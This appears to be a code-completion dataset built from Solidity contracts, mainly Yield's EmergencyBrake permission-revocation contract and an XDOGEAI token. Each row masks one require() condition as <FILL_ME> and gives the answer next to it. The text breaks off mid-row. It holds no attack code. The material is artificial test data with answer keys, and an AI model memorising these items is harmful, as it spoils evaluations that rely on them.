function permissionToId(Permission calldata permission)
external pure returns(bytes32 id)
{
}
/// @dev used to recreate a Permission from it's id
/// @param id the key used for indexing a Permission within a Plan
function idToPermission(bytes32 id)
external pure returns(Permission memory permission)
{
}
function _permissionToId(Permission memory permission)
internal pure returns(bytes32 id)
{
}
function _idToPermission(bytes32 id)
internal pure returns(Permission memory permission)
{
}
}
| !plan_.executed,"Plan in execution" | 65,012 | !plan_.executed |
"Permission not found" | // SPDX-License-Identifier: MIT
// Audit: https://hackmd.io/@devtooligan/YieldEmergencyBrakeSecurityReview2022-10-11
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
import "../interfaces/IEmergencyBrake.sol";
/// @dev EmergencyBrake allows to plan for and execute transactions that remove access permissions for a user
/// contract. In an permissioned environment this can be used for pausing components.
/// All contracts in scope of emergency plans must grant ROOT permissions to EmergencyBrake. To mitigate the risk
/// of governance capture, EmergencyBrake has very limited functionality, being able only to revoke existing roles
/// and to restore previously revoked roles. Thus EmergencyBrake cannot grant permissions that weren't there in the
/// first place. As an additional safeguard, EmergencyBrake cannot revoke or grant ROOT roles.
contract EmergencyBrake is AccessControl, IEmergencyBrake {
event Added(address indexed user, Permission permissionIn);
event Removed(address indexed user, Permission permissionOut);
event Executed(address indexed user);
event Restored(address indexed user);
uint256 public constant NOT_FOUND = type(uint256).max;
mapping (address => Plan) public plans;
constructor(address governor, address planner, address executor) AccessControl() {
}
/// @dev Is a plan executed?
/// @param user address with auth privileges on permission hosts
function executed(address user) external view override returns (bool) {
}
/// @dev Does a plan contain a permission?
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function contains(address user, Permission calldata permission) external view override returns (bool) {
}
/// @dev Return a permission by index
/// @param user address with auth privileges on permission hosts
/// @param idx permission index that is being queried about
function permissionAt(address user, uint idx) external view override returns (Permission memory) {
}
/// @dev Index of a permission in a plan. Returns type(uint256).max if not present.
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function index(address user, Permission calldata permission) external view override returns (uint) {
}
/// @dev Number of permissions in a plan
/// @param user address with auth privileges on permission hosts
function total(address user) external view returns (uint) {
}
/// @dev Add permissions to an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsIn permissions that are being added to an existing plan
function add(address user, Permission[] calldata permissionsIn)
external override auth
{
Plan storage plan_ = plans[user];
require(!plan_.executed, "Plan in execution");
uint length = permissionsIn.length;
for (uint i; i < length; ++i) {
Permission memory permissionIn = permissionsIn[i];
require(permissionIn.signature != ROOT, "Can't remove ROOT");
require(<FILL_ME>)
// You don't want to find out execute reverts when you need it
require(
AccessControl(permissionIn.host).hasRole(ROOT, address(this)),
"Need ROOT on host"
); // You don't want to find out you don't have ROOT while executing
bytes32 idIn = _permissionToId(permissionIn);
require(plan_.permissions[idIn].signature == bytes4(0), "Permission already set");
plan_.permissions[idIn] = permissionIn; // Set the permission
plan_.ids.push(idIn);
emit Added(user, permissionIn);
}
}
/// @dev Remove permissions from an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsOut permissions that are being removed from an existing plan
function remove(address user, Permission[] calldata permissionsOut)
external override auth
{
}
/// @dev Remove a planned isolation plan
/// @param user address with an isolation plan
function cancel(address user)
external override auth
{
}
/// @dev Remove the restoring option from an isolated user
/// @param user address with an isolation plan
function terminate(address user)
external override auth
{
}
/// @dev Remove all data related to an user
/// @param user address with an isolation plan
function _erase(address user)
internal
{
}
/// @dev Check if a plan is valid for execution
/// @param user address with an isolation plan
function check(address user)
external view override returns (bool)
{
}
/// @dev Execute an access removal transaction
/// @notice The plan needs to be kept up to date with the current permissioning, or it will revert.
/// @param user address with an isolation plan
function execute(address user)
external override auth
{
}
/// @dev Restore the orchestration from an isolated user
function restore(address user)
external override auth
{
}
/// @dev used to calculate the id of a Permission so it can be indexed within a Plan
/// @param permission a permission, containing a host address and a function signature
function permissionToId(Permission calldata permission)
external pure returns(bytes32 id)
{
}
/// @dev used to recreate a Permission from it's id
/// @param id the key used for indexing a Permission within a Plan
function idToPermission(bytes32 id)
external pure returns(Permission memory permission)
{
}
function _permissionToId(Permission memory permission)
internal pure returns(bytes32 id)
{
}
function _idToPermission(bytes32 id)
internal pure returns(Permission memory permission)
{
}
}
| AccessControl(permissionIn.host).hasRole(permissionIn.signature,user),"Permission not found" | 65,012 | AccessControl(permissionIn.host).hasRole(permissionIn.signature,user) |
"Need ROOT on host" | // SPDX-License-Identifier: MIT
// Audit: https://hackmd.io/@devtooligan/YieldEmergencyBrakeSecurityReview2022-10-11
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
import "../interfaces/IEmergencyBrake.sol";
/// @dev EmergencyBrake allows to plan for and execute transactions that remove access permissions for a user
/// contract. In an permissioned environment this can be used for pausing components.
/// All contracts in scope of emergency plans must grant ROOT permissions to EmergencyBrake. To mitigate the risk
/// of governance capture, EmergencyBrake has very limited functionality, being able only to revoke existing roles
/// and to restore previously revoked roles. Thus EmergencyBrake cannot grant permissions that weren't there in the
/// first place. As an additional safeguard, EmergencyBrake cannot revoke or grant ROOT roles.
contract EmergencyBrake is AccessControl, IEmergencyBrake {
event Added(address indexed user, Permission permissionIn);
event Removed(address indexed user, Permission permissionOut);
event Executed(address indexed user);
event Restored(address indexed user);
uint256 public constant NOT_FOUND = type(uint256).max;
mapping (address => Plan) public plans;
constructor(address governor, address planner, address executor) AccessControl() {
}
/// @dev Is a plan executed?
/// @param user address with auth privileges on permission hosts
function executed(address user) external view override returns (bool) {
}
/// @dev Does a plan contain a permission?
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function contains(address user, Permission calldata permission) external view override returns (bool) {
}
/// @dev Return a permission by index
/// @param user address with auth privileges on permission hosts
/// @param idx permission index that is being queried about
function permissionAt(address user, uint idx) external view override returns (Permission memory) {
}
/// @dev Index of a permission in a plan. Returns type(uint256).max if not present.
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function index(address user, Permission calldata permission) external view override returns (uint) {
}
/// @dev Number of permissions in a plan
/// @param user address with auth privileges on permission hosts
function total(address user) external view returns (uint) {
}
/// @dev Add permissions to an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsIn permissions that are being added to an existing plan
function add(address user, Permission[] calldata permissionsIn)
external override auth
{
Plan storage plan_ = plans[user];
require(!plan_.executed, "Plan in execution");
uint length = permissionsIn.length;
for (uint i; i < length; ++i) {
Permission memory permissionIn = permissionsIn[i];
require(permissionIn.signature != ROOT, "Can't remove ROOT");
require(
AccessControl(permissionIn.host).hasRole(permissionIn.signature, user),
"Permission not found"
); // You don't want to find out execute reverts when you need it
require(<FILL_ME>)
// You don't want to find out you don't have ROOT while executing
bytes32 idIn = _permissionToId(permissionIn);
require(plan_.permissions[idIn].signature == bytes4(0), "Permission already set");
plan_.permissions[idIn] = permissionIn; // Set the permission
plan_.ids.push(idIn);
emit Added(user, permissionIn);
}
}
/// @dev Remove permissions from an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsOut permissions that are being removed from an existing plan
function remove(address user, Permission[] calldata permissionsOut)
external override auth
{
}
/// @dev Remove a planned isolation plan
/// @param user address with an isolation plan
function cancel(address user)
external override auth
{
}
/// @dev Remove the restoring option from an isolated user
/// @param user address with an isolation plan
function terminate(address user)
external override auth
{
}
/// @dev Remove all data related to an user
/// @param user address with an isolation plan
function _erase(address user)
internal
{
}
/// @dev Check if a plan is valid for execution
/// @param user address with an isolation plan
function check(address user)
external view override returns (bool)
{
}
/// @dev Execute an access removal transaction
/// @notice The plan needs to be kept up to date with the current permissioning, or it will revert.
/// @param user address with an isolation plan
function execute(address user)
external override auth
{
}
/// @dev Restore the orchestration from an isolated user
function restore(address user)
external override auth
{
}
/// @dev used to calculate the id of a Permission so it can be indexed within a Plan
/// @param permission a permission, containing a host address and a function signature
function permissionToId(Permission calldata permission)
external pure returns(bytes32 id)
{
}
/// @dev used to recreate a Permission from it's id
/// @param id the key used for indexing a Permission within a Plan
function idToPermission(bytes32 id)
external pure returns(Permission memory permission)
{
}
function _permissionToId(Permission memory permission)
internal pure returns(bytes32 id)
{
}
function _idToPermission(bytes32 id)
internal pure returns(Permission memory permission)
{
}
}
| AccessControl(permissionIn.host).hasRole(ROOT,address(this)),"Need ROOT on host" | 65,012 | AccessControl(permissionIn.host).hasRole(ROOT,address(this)) |
"Permission already set" | // SPDX-License-Identifier: MIT
// Audit: https://hackmd.io/@devtooligan/YieldEmergencyBrakeSecurityReview2022-10-11
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
import "../interfaces/IEmergencyBrake.sol";
/// @dev EmergencyBrake allows to plan for and execute transactions that remove access permissions for a user
/// contract. In an permissioned environment this can be used for pausing components.
/// All contracts in scope of emergency plans must grant ROOT permissions to EmergencyBrake. To mitigate the risk
/// of governance capture, EmergencyBrake has very limited functionality, being able only to revoke existing roles
/// and to restore previously revoked roles. Thus EmergencyBrake cannot grant permissions that weren't there in the
/// first place. As an additional safeguard, EmergencyBrake cannot revoke or grant ROOT roles.
contract EmergencyBrake is AccessControl, IEmergencyBrake {
event Added(address indexed user, Permission permissionIn);
event Removed(address indexed user, Permission permissionOut);
event Executed(address indexed user);
event Restored(address indexed user);
uint256 public constant NOT_FOUND = type(uint256).max;
mapping (address => Plan) public plans;
constructor(address governor, address planner, address executor) AccessControl() {
}
/// @dev Is a plan executed?
/// @param user address with auth privileges on permission hosts
function executed(address user) external view override returns (bool) {
}
/// @dev Does a plan contain a permission?
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function contains(address user, Permission calldata permission) external view override returns (bool) {
}
/// @dev Return a permission by index
/// @param user address with auth privileges on permission hosts
/// @param idx permission index that is being queried about
function permissionAt(address user, uint idx) external view override returns (Permission memory) {
}
/// @dev Index of a permission in a plan. Returns type(uint256).max if not present.
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function index(address user, Permission calldata permission) external view override returns (uint) {
}
/// @dev Number of permissions in a plan
/// @param user address with auth privileges on permission hosts
function total(address user) external view returns (uint) {
}
/// @dev Add permissions to an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsIn permissions that are being added to an existing plan
function add(address user, Permission[] calldata permissionsIn)
external override auth
{
Plan storage plan_ = plans[user];
require(!plan_.executed, "Plan in execution");
uint length = permissionsIn.length;
for (uint i; i < length; ++i) {
Permission memory permissionIn = permissionsIn[i];
require(permissionIn.signature != ROOT, "Can't remove ROOT");
require(
AccessControl(permissionIn.host).hasRole(permissionIn.signature, user),
"Permission not found"
); // You don't want to find out execute reverts when you need it
require(
AccessControl(permissionIn.host).hasRole(ROOT, address(this)),
"Need ROOT on host"
); // You don't want to find out you don't have ROOT while executing
bytes32 idIn = _permissionToId(permissionIn);
require(<FILL_ME>)
plan_.permissions[idIn] = permissionIn; // Set the permission
plan_.ids.push(idIn);
emit Added(user, permissionIn);
}
}
/// @dev Remove permissions from an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsOut permissions that are being removed from an existing plan
function remove(address user, Permission[] calldata permissionsOut)
external override auth
{
}
/// @dev Remove a planned isolation plan
/// @param user address with an isolation plan
function cancel(address user)
external override auth
{
}
/// @dev Remove the restoring option from an isolated user
/// @param user address with an isolation plan
function terminate(address user)
external override auth
{
}
/// @dev Remove all data related to an user
/// @param user address with an isolation plan
function _erase(address user)
internal
{
}
/// @dev Check if a plan is valid for execution
/// @param user address with an isolation plan
function check(address user)
external view override returns (bool)
{
}
/// @dev Execute an access removal transaction
/// @notice The plan needs to be kept up to date with the current permissioning, or it will revert.
/// @param user address with an isolation plan
function execute(address user)
external override auth
{
}
/// @dev Restore the orchestration from an isolated user
function restore(address user)
external override auth
{
}
/// @dev used to calculate the id of a Permission so it can be indexed within a Plan
/// @param permission a permission, containing a host address and a function signature
function permissionToId(Permission calldata permission)
external pure returns(bytes32 id)
{
}
/// @dev used to recreate a Permission from it's id
/// @param id the key used for indexing a Permission within a Plan
function idToPermission(bytes32 id)
external pure returns(Permission memory permission)
{
}
function _permissionToId(Permission memory permission)
internal pure returns(bytes32 id)
{
}
function _idToPermission(bytes32 id)
internal pure returns(Permission memory permission)
{
}
}
| plan_.permissions[idIn].signature==bytes4(0),"Permission already set" | 65,012 | plan_.permissions[idIn].signature==bytes4(0) |
"Permission not found" | // SPDX-License-Identifier: MIT
// Audit: https://hackmd.io/@devtooligan/YieldEmergencyBrakeSecurityReview2022-10-11
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
import "../interfaces/IEmergencyBrake.sol";
/// @dev EmergencyBrake allows to plan for and execute transactions that remove access permissions for a user
/// contract. In an permissioned environment this can be used for pausing components.
/// All contracts in scope of emergency plans must grant ROOT permissions to EmergencyBrake. To mitigate the risk
/// of governance capture, EmergencyBrake has very limited functionality, being able only to revoke existing roles
/// and to restore previously revoked roles. Thus EmergencyBrake cannot grant permissions that weren't there in the
/// first place. As an additional safeguard, EmergencyBrake cannot revoke or grant ROOT roles.
contract EmergencyBrake is AccessControl, IEmergencyBrake {
event Added(address indexed user, Permission permissionIn);
event Removed(address indexed user, Permission permissionOut);
event Executed(address indexed user);
event Restored(address indexed user);
uint256 public constant NOT_FOUND = type(uint256).max;
mapping (address => Plan) public plans;
constructor(address governor, address planner, address executor) AccessControl() {
}
/// @dev Is a plan executed?
/// @param user address with auth privileges on permission hosts
function executed(address user) external view override returns (bool) {
}
/// @dev Does a plan contain a permission?
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function contains(address user, Permission calldata permission) external view override returns (bool) {
}
/// @dev Return a permission by index
/// @param user address with auth privileges on permission hosts
/// @param idx permission index that is being queried about
function permissionAt(address user, uint idx) external view override returns (Permission memory) {
}
/// @dev Index of a permission in a plan. Returns type(uint256).max if not present.
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function index(address user, Permission calldata permission) external view override returns (uint) {
}
/// @dev Number of permissions in a plan
/// @param user address with auth privileges on permission hosts
function total(address user) external view returns (uint) {
}
/// @dev Add permissions to an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsIn permissions that are being added to an existing plan
function add(address user, Permission[] calldata permissionsIn)
external override auth
{
}
/// @dev Remove permissions from an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsOut permissions that are being removed from an existing plan
function remove(address user, Permission[] calldata permissionsOut)
external override auth
{
Plan storage plan_ = plans[user];
require(!plan_.executed, "Plan in execution");
uint length = permissionsOut.length;
for (uint i; i < length; ++i) {
Permission memory permissionOut = permissionsOut[i];
bytes32 idOut = _permissionToId(permissionOut);
require(<FILL_ME>)
delete plan_.permissions[idOut]; // Remove the permission
// Loop through the ids array, copy the last item on top of the removed permission, then pop.
uint last = uint(plan_.ids.length) - 1; // Length should be at least one at this point.
for (uint j = 0; j <= last; ++j ) {
if (plan_.ids[j] == idOut) {
if (j != last) plan_.ids[j] = plan_.ids[last];
plan_.ids.pop(); // Remove the id
break;
}
}
emit Removed(user, permissionOut);
}
}
/// @dev Remove a planned isolation plan
/// @param user address with an isolation plan
function cancel(address user)
external override auth
{
}
/// @dev Remove the restoring option from an isolated user
/// @param user address with an isolation plan
function terminate(address user)
external override auth
{
}
/// @dev Remove all data related to an user
/// @param user address with an isolation plan
function _erase(address user)
internal
{
}
/// @dev Check if a plan is valid for execution
/// @param user address with an isolation plan
function check(address user)
external view override returns (bool)
{
}
/// @dev Execute an access removal transaction
/// @notice The plan needs to be kept up to date with the current permissioning, or it will revert.
/// @param user address with an isolation plan
function execute(address user)
external override auth
{
}
/// @dev Restore the orchestration from an isolated user
function restore(address user)
external override auth
{
}
/// @dev used to calculate the id of a Permission so it can be indexed within a Plan
/// @param permission a permission, containing a host address and a function signature
function permissionToId(Permission calldata permission)
external pure returns(bytes32 id)
{
}
/// @dev used to recreate a Permission from it's id
/// @param id the key used for indexing a Permission within a Plan
function idToPermission(bytes32 id)
external pure returns(Permission memory permission)
{
}
function _permissionToId(Permission memory permission)
internal pure returns(bytes32 id)
{
}
function _idToPermission(bytes32 id)
internal pure returns(Permission memory permission)
{
}
}
| plan_.permissions[idOut].signature!=bytes4(0),"Permission not found" | 65,012 | plan_.permissions[idOut].signature!=bytes4(0) |
"Plan not in execution" | // SPDX-License-Identifier: MIT
// Audit: https://hackmd.io/@devtooligan/YieldEmergencyBrakeSecurityReview2022-10-11
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
import "../interfaces/IEmergencyBrake.sol";
/// @dev EmergencyBrake allows to plan for and execute transactions that remove access permissions for a user
/// contract. In an permissioned environment this can be used for pausing components.
/// All contracts in scope of emergency plans must grant ROOT permissions to EmergencyBrake. To mitigate the risk
/// of governance capture, EmergencyBrake has very limited functionality, being able only to revoke existing roles
/// and to restore previously revoked roles. Thus EmergencyBrake cannot grant permissions that weren't there in the
/// first place. As an additional safeguard, EmergencyBrake cannot revoke or grant ROOT roles.
contract EmergencyBrake is AccessControl, IEmergencyBrake {
event Added(address indexed user, Permission permissionIn);
event Removed(address indexed user, Permission permissionOut);
event Executed(address indexed user);
event Restored(address indexed user);
uint256 public constant NOT_FOUND = type(uint256).max;
mapping (address => Plan) public plans;
constructor(address governor, address planner, address executor) AccessControl() {
}
/// @dev Is a plan executed?
/// @param user address with auth privileges on permission hosts
function executed(address user) external view override returns (bool) {
}
/// @dev Does a plan contain a permission?
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function contains(address user, Permission calldata permission) external view override returns (bool) {
}
/// @dev Return a permission by index
/// @param user address with auth privileges on permission hosts
/// @param idx permission index that is being queried about
function permissionAt(address user, uint idx) external view override returns (Permission memory) {
}
/// @dev Index of a permission in a plan. Returns type(uint256).max if not present.
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function index(address user, Permission calldata permission) external view override returns (uint) {
}
/// @dev Number of permissions in a plan
/// @param user address with auth privileges on permission hosts
function total(address user) external view returns (uint) {
}
/// @dev Add permissions to an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsIn permissions that are being added to an existing plan
function add(address user, Permission[] calldata permissionsIn)
external override auth
{
}
/// @dev Remove permissions from an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsOut permissions that are being removed from an existing plan
function remove(address user, Permission[] calldata permissionsOut)
external override auth
{
}
/// @dev Remove a planned isolation plan
/// @param user address with an isolation plan
function cancel(address user)
external override auth
{
}
/// @dev Remove the restoring option from an isolated user
/// @param user address with an isolation plan
function terminate(address user)
external override auth
{
Plan storage plan_ = plans[user];
require(<FILL_ME>)
// If the plan is executed, then it must exist
_erase(user);
}
/// @dev Remove all data related to an user
/// @param user address with an isolation plan
function _erase(address user)
internal
{
}
/// @dev Check if a plan is valid for execution
/// @param user address with an isolation plan
function check(address user)
external view override returns (bool)
{
}
/// @dev Execute an access removal transaction
/// @notice The plan needs to be kept up to date with the current permissioning, or it will revert.
/// @param user address with an isolation plan
function execute(address user)
external override auth
{
}
/// @dev Restore the orchestration from an isolated user
function restore(address user)
external override auth
{
}
/// @dev used to calculate the id of a Permission so it can be indexed within a Plan
/// @param permission a permission, containing a host address and a function signature
function permissionToId(Permission calldata permission)
external pure returns(bytes32 id)
{
}
/// @dev used to recreate a Permission from it's id
/// @param id the key used for indexing a Permission within a Plan
function idToPermission(bytes32 id)
external pure returns(Permission memory permission)
{
}
function _permissionToId(Permission memory permission)
internal pure returns(bytes32 id)
{
}
function _idToPermission(bytes32 id)
internal pure returns(Permission memory permission)
{
}
}
| plan_.executed,"Plan not in execution" | 65,012 | plan_.executed |
"Permission not found" | // SPDX-License-Identifier: MIT
// Audit: https://hackmd.io/@devtooligan/YieldEmergencyBrakeSecurityReview2022-10-11
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
import "../interfaces/IEmergencyBrake.sol";
/// @dev EmergencyBrake allows to plan for and execute transactions that remove access permissions for a user
/// contract. In an permissioned environment this can be used for pausing components.
/// All contracts in scope of emergency plans must grant ROOT permissions to EmergencyBrake. To mitigate the risk
/// of governance capture, EmergencyBrake has very limited functionality, being able only to revoke existing roles
/// and to restore previously revoked roles. Thus EmergencyBrake cannot grant permissions that weren't there in the
/// first place. As an additional safeguard, EmergencyBrake cannot revoke or grant ROOT roles.
contract EmergencyBrake is AccessControl, IEmergencyBrake {
event Added(address indexed user, Permission permissionIn);
event Removed(address indexed user, Permission permissionOut);
event Executed(address indexed user);
event Restored(address indexed user);
uint256 public constant NOT_FOUND = type(uint256).max;
mapping (address => Plan) public plans;
constructor(address governor, address planner, address executor) AccessControl() {
}
/// @dev Is a plan executed?
/// @param user address with auth privileges on permission hosts
function executed(address user) external view override returns (bool) {
}
/// @dev Does a plan contain a permission?
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function contains(address user, Permission calldata permission) external view override returns (bool) {
}
/// @dev Return a permission by index
/// @param user address with auth privileges on permission hosts
/// @param idx permission index that is being queried about
function permissionAt(address user, uint idx) external view override returns (Permission memory) {
}
/// @dev Index of a permission in a plan. Returns type(uint256).max if not present.
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function index(address user, Permission calldata permission) external view override returns (uint) {
}
/// @dev Number of permissions in a plan
/// @param user address with auth privileges on permission hosts
function total(address user) external view returns (uint) {
}
/// @dev Add permissions to an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsIn permissions that are being added to an existing plan
function add(address user, Permission[] calldata permissionsIn)
external override auth
{
}
/// @dev Remove permissions from an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsOut permissions that are being removed from an existing plan
function remove(address user, Permission[] calldata permissionsOut)
external override auth
{
}
/// @dev Remove a planned isolation plan
/// @param user address with an isolation plan
function cancel(address user)
external override auth
{
}
/// @dev Remove the restoring option from an isolated user
/// @param user address with an isolation plan
function terminate(address user)
external override auth
{
}
/// @dev Remove all data related to an user
/// @param user address with an isolation plan
function _erase(address user)
internal
{
}
/// @dev Check if a plan is valid for execution
/// @param user address with an isolation plan
function check(address user)
external view override returns (bool)
{
}
/// @dev Execute an access removal transaction
/// @notice The plan needs to be kept up to date with the current permissioning, or it will revert.
/// @param user address with an isolation plan
function execute(address user)
external override auth
{
Plan storage plan_ = plans[user];
require(!plan_.executed, "Already executed");
plan_.executed = true;
// Loop through the ids array, and revoke all roles.
uint length = uint(plan_.ids.length);
require(length > 0, "Plan not found");
for (uint i = 0; i < length; ++i ) {
bytes32 id = plan_.ids[i];
Permission memory permission_ = plan_.permissions[id];
AccessControl host = AccessControl(permission_.host);
// `revokeRole` won't revert if the role is not granted, but we need
// to revert because otherwise operators with `execute` and `restore`
// permissions will be able to restore removed roles if the plan is not
// updated to reflect the removed roles.
// By reverting, a plan that is not up to date will revert on execution,
// but that seems like a lesser evil versus allowing operators to override
// governance decisions.
require(<FILL_ME>)
host.revokeRole(permission_.signature, user);
}
emit Executed(user);
}
/// @dev Restore the orchestration from an isolated user
function restore(address user)
external override auth
{
}
/// @dev used to calculate the id of a Permission so it can be indexed within a Plan
/// @param permission a permission, containing a host address and a function signature
function permissionToId(Permission calldata permission)
external pure returns(bytes32 id)
{
}
/// @dev used to recreate a Permission from it's id
/// @param id the key used for indexing a Permission within a Plan
function idToPermission(bytes32 id)
external pure returns(Permission memory permission)
{
}
function _permissionToId(Permission memory permission)
internal pure returns(bytes32 id)
{
}
function _idToPermission(bytes32 id)
internal pure returns(Permission memory permission)
{
}
}
| host.hasRole(permission_.signature,user),"Permission not found" | 65,012 | host.hasRole(permission_.signature,user) |
"trading is already open" | /**
WEB: https://www.xdogeai.pro
TG: https://t.me/xdogeai_eth
**/
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b, uint256 c) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function owner() public view returns (address) {
}
}
interface IUniswapFactoryV2 {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapRouterV2 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract XDOGEAI is Context, IERC20, Ownable {
using SafeMath for uint256;
bool private inSwap = false;
bool private isTradingOpened;
bool private swapEnabled = false;
bool public hasMEVProtection = true;
string private constant _name = "XDOGEAI";
string private constant _symbol = "XDOGEAI";
address private uniswapV2Pair;
address payable private _taxWallet = payable(0x743dab5c0594a3E7aE3819AdaA0608994E940C24);
IUniswapRouterV2 private uniswapV2Router;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 10 ** 9 * 10**_decimals;
uint256 public _maximumSwap= _tTotal * 1 / 100;
uint256 public _maxTxAmount = _tTotal * 4 / 100;
uint256 public _maxWalletAmount = _tTotal * 4 / 100;
uint256 public _taxSwapThreshold= _tTotal * 2 / 10000;
uint256 private _firstSellTax=0;
uint256 private _firstBuyTax=0;
uint256 private _dontSwapTaxBefore=1;
uint256 private _lastBuyTax=0;
uint256 private _reduceBuyTaxAfter=3;
uint256 private _reduceSellTaxAfter=1;
uint256 private _lastSellTax=0;
uint256 private _buyerCounts=0;
mapping(address => uint256) private _holderLastTransferTime;
mapping (address => uint256) private _balances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => mapping (address => uint256)) private _allowances;
modifier lockSwap {
}
event MaxTXUpdated(uint _maxTxAmount);
constructor() {
}
function sendETHToFee(uint256 amount) private {
}
function symbol() public pure returns (string memory) {
}
function name() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function openTrading() external onlyOwner() {
require(<FILL_ME>)
isTradingOpened = true;
}
function addLiquidity() external payable onlyOwner() {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function removeLimits() external onlyOwner{
}
receive() external payable {}
function swapTokensForEth(uint256 tokenAmount) private lockSwap {
}
}
| !isTradingOpened,"trading is already open" | 65,211 | !isTradingOpened |
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | /**
WEB: https://www.xdogeai.pro
TG: https://t.me/xdogeai_eth
**/
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b, uint256 c) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function owner() public view returns (address) {
}
}
interface IUniswapFactoryV2 {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapRouterV2 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract XDOGEAI is Context, IERC20, Ownable {
using SafeMath for uint256;
bool private inSwap = false;
bool private isTradingOpened;
bool private swapEnabled = false;
bool public hasMEVProtection = true;
string private constant _name = "XDOGEAI";
string private constant _symbol = "XDOGEAI";
address private uniswapV2Pair;
address payable private _taxWallet = payable(0x743dab5c0594a3E7aE3819AdaA0608994E940C24);
IUniswapRouterV2 private uniswapV2Router;
uint8 private constant _decimals = 9;
